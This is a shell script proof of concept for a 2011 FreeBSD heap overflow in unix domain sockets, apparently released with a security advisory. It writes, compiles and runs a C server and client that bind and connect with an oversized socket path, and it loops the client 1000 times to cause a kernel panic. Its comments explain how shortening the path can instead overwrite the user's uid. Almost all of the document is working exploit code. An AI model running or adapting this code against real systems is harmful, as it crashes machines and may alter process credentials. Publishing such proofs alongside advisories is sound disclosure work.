#!/bin/sh
#
# fbsd-uipcsock-heap.sh, by Shaun Colley <scolley@ioactive.com>, 29/09/11
#
# proof-of-concept crash for the freebsd unix domain sockets heap
# overflow. this was tested on freebsd 8.2-RELEASE. just a PoC for now.
#
# see advisory & patches for details:
# http://www.securityfocus.com/archive/1/519864/30/0/threaded
#
# this PoC will usually result in a kernel panic with a read access
# violation at 0x616161XX but sometimes the kernel will not crash straight
# away (particularly if you shorten the length of 'sun_path' -- try 140 bytes),
# and your uid (see output of `id`) may have been modified to the
# decimal equivalent of 0x61616161 during the heap smash
# write server code to srv.c
cat > srv.c << _EOF
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
struct socky {
short sun_family;
char sun_path[160];
};
int connhandler(int incoming)
{
char buffer[256];
int n = 0;
n = read(incoming, buffer, 256);
buffer[n] = 0;
printf("%s\n", buffer);
n = sprintf(buffer, "fbsd uipc socket heap overflow");
write(incoming, buffer, n);
close(incoming);
return 0;
}
int main(void)
{
struct socky overfl0w;
int sock, incoming;
socklen_t alen;
pid_t child;
char buf[160];
sock = socket(PF_UNIX, SOCK_STREAM, 0);
if(sock < 0)
{
printf("socket() failed!\n");
return 1;
}
memset(&overfl0w, 0, sizeof(struct socky));
overfl0w.sun_family = AF_UNIX;
memset(buf, 0x61, sizeof(buf));
buf[sizeof(buf)-1] = 0x00;
strcpy(overfl0w.sun_path, buf);
if(bind(sock, (struct sockaddr *)&overfl0w,
sizeof(struct socky)) != 0)
{
printf("bind() failed!\n");
return 1;
}
if(listen(sock, 5) != 0)
{
printf("listen() failed!\n");
return 1;
}
while((incoming = accept(sock, (struct sockaddr *)&overfl0w, &alen)) > -1)
{
child = fork();
if(child == 0)
{
return connhandler(incoming);
}
close(incoming);
}
close(sock);
return 0;
}
_EOF
gcc srv.c -o srv
# write the client code to client.c
cat > client.c << _EOF
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <string.h>
struct socky {
short sun_family;
char sun_path[160];
};
int main(void)
{
struct socky overfl0w;
int sock, n;
char buffer[256], buf[160];
sock = socket(PF_UNIX, SOCK_STREAM, 0);
if(sock < 0)
{
printf("socket() failed!\n");
return 1;
}
/* start with a clean address structure */
memset(&overfl0w, 0, sizeof(struct sockaddr_un));
overfl0w.sun_family = AF_UNIX;
memset(buf, 0x61, sizeof(buf));
buf[sizeof(buf)-1] = 0x00;
strcpy(overfl0w.sun_path, buf);
if(connect(sock,
(struct sockaddr *)&overfl0w,
sizeof(struct socky)) != 0)
{
printf("connect() failed!\n");
return 1;
}
n = snprintf(buffer, 256, "panic");
write(sock, buffer, n);
n = read(sock, buffer, 256);
buffer[n] = 0;
printf("%s\n", buffer);
close(sock);
return 0;
}
_EOF
gcc client.c -o client
# crash doesn't happen straight away, so loop the client to speed it up
cat > loop.c << _EOF
#include <stdio.h>
int main() {
int i;
for(i = 0; i < 1000; i++) {
system("./client");
}
}
_EOF
gcc loop.c -o loop
./srv &
./loop